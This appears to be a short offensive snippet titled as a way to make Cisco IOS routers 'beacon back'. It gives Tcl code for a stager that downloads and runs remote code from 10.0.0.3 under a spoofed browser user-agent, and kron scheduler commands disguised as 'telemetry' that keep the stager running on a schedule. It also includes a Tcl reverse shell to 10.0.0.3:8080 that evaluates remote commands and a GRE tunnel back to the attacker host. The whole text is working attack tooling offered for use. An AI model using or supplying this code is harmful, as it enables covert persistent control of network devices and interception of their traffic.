A simple way of making Cisco IOS beacon back to you.

cisco-beacon.tcl

# stage.tcl
set id "cisco-R1"

source "tmpsys:lib/tcl/http.tcl"
::http::config -useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32"
set httpToken [::http::geturl http://10.0.0.3/static/$id]
if {[lindex [split [::http::code $httpToken] " "] 1] == "200"} {
	source [::http::data $httpToken]
}

# making it run
R1(config)#kron occurrence telemetry in 0:3 recurring
R1(config-kron-occurrence)#policy-list telemetrypol
Kron: Policy Accepted, Policy telemetrypol needs to be configured
R1(config-kron-occurrence)#kron policy-list telemetrypol
R1(config-kron-policy)#cli tclsh nvram:stage.tcl

# revsh.tcl
set id "cisco-R1"

set revip 10.0.0.3
set revport 8080

set s [socket $revip $revport]
fconfigure $s -translation auto
set c ""

while {$c != "revquit"} {
        puts -nonewline $s "IOS-tclsh-$id#"
        flush $s
        gets $s c
        if {![catch {set r [eval $c]} err]} {
                puts $s $r
        }
        flush $s
}
close $s

# GRE tunnel
ios_config "interface tunnel 1" "tunnel mode gre ip" "ip address 172.20.0.2 255.255.255.0" "tunnel source 10.0.0.1" "tunnel destination 10.0.0.3"